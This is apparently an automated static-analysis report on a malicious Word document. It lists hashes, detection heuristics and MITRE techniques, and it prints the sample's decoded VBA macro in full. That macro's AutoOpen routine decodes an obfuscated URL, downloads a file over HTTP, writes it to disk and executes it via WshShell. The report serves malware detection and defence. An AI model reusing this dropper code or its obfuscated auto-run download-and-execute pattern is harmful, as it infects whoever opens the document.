Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d2b3bff49d5381ae…

MALICIOUS

Office (OOXML)

133.0 KB Created: 2020-07-09 00:04:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 30b85636bb4e9be61434d701cc1c4809 SHA-1: e647332abb5d9e2c3ae077937cfe07a7b7f86b9a SHA-256: d2b3bff49d5381ae41e4903277538591b7ce9df1e932d3069a32f4a78ac0816f
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro executes a function that appears to download a file from the obfuscated URL "http://h7t1t7p6:c/3/bh8q730ldl6.bcco9mb/0iez25f/ay0a2cfaf.6pch8pe?0l1=bk4p8t41b22.9c1abb5" and saves it to "C:\7\4pbr2o7gbrfa6m4dda4tfa8\e2520511d0f.2j5p3g6". This downloaded file is then executed, indicating a downloader or droppper functionality.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-8708109-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-8708109-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack2\it.jpg
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3220 bytes
SHA-256: bf5856071ff0a66972aeb0b542fb49d526a2385ff959c41b5e029644bd928b3d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ba4242f2"
Function f0b6be19()
f0b6be19 = Application.ActiveDocument.Application
End Function
Function bd8bbb5d()
bd8bbb5d = ActiveWindow.Split
End Function
Sub fb9316e2(bbc79467, c891bee4)
Dim b53313da
b53313da = FreeFile
Open bbc79467 For Output As #b53313da
Print #b53313da, d352c807(c891bee4)
Close #b53313da
End Sub
Function cd18c9d0()
cd18c9d0 = ActiveWindow.WindowState
End Function
Function c3f38880()
c3f38880 = Application.ActiveDocument.Creator
End Function
Function f453daca(dcb13349)
d13fa101 = Len(dcb13349)
For ffc41f61 = 1 To d13fa101 Step 2
fa44eb9d = fa44eb9d & Mid(dcb13349, ffc41f61, 1)
Next
f453daca = fa44eb9d
End Function
Function b3427004()
b3427004 = ActiveWindow.Selection
End Function
Function ef072479()
ef072479 = ActiveWindow.View
End Function
Sub be34d308()
End Sub
Function bc5086ba()
bc5086ba = Application.ActiveDocument.AttachedTemplate
End Function
Function c20a7730()
c20a7730 = Application.ActiveDocument.AutoSaveOn
End Function
Sub AutoOpen()
Dim d2c1fced As New a05149dc
fb9316e2 f453daca("ca:7\4pbr2o7gbrfa6m4dda4tfa8\e2520511d0f.2j5p3g6"), d2c1fced.f7f2d427(f453daca("h7t1t7p6:c/3/bh8q730ldl6.bcco9mb/0iez25f/ay0a2cfaf.6pch8pe?0l1=bk4p8t41b22.9c1abb5"))
Dim a45fb53b As New WshShell
a45fb53b.exec e117526c & " " & f453daca("ca:7\4pbr2o7gbrfa6m4dda4tfa8\e2520511d0f.2j5p3g6")
End Sub

Attribute VB_Name = "d5a96673"
Function a0f2e2ef()
a0f2e2ef = 22383
End Function
Function fc1f79ea()
fc1f79ea = ActiveWindow.DisplayScreenTips
End Function
Function d352c807(fe9b7f10)
d352c807 = StrConv(fe9b7f10, 64)
End Function
Function aef7ed93()
aef7ed93 = ActiveWindow.DisplayRulers
End Function
Function b54f2409()
b54f2409 = Application.ActiveDocument.AutoSaveOn
End Function
Function cf578a75()
End Function
Function e82a4fe6()
e82a4fe6 = ActiveWindow.Selection
End Function
Function a15f0da1(dbfafd1anp As String) As Boolean
If 883 - 26 = Len(dbfafd1anp) Then
a15f0da1 = True
End If
End Function
Function e117526c()
e117526c = f453daca("rbe3gesdv5r43724")
End Function

Attribute VB_Name = "a05149dc"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function cc5831d3()
cc5831d3 = 11930 * 1
End Function
Function e54248da()
e54248da = ActiveWindow.View
End Function
Function f7f2d427(dd8f6dee)
Dim b446aea3 As Object
Set b446aea3 = New MSXML2.XMLHTTP30
Call b446aea3.Open("GET", dd8f6dee, False)
b446aea3.Send
f7f2d427 = b446aea3.responsebody
End Function
Function c3fd99a1()
c3fd99a1 = ActiveWindow.Selection
End Function
Function c211c59f()
c211c59f = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Function eaa27eb2(da69f5f9)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24064 bytes
SHA-256: abb15ae5965542a082237d2ffaa528d3636d81f81b3a59e88b7a7d67e55e4703

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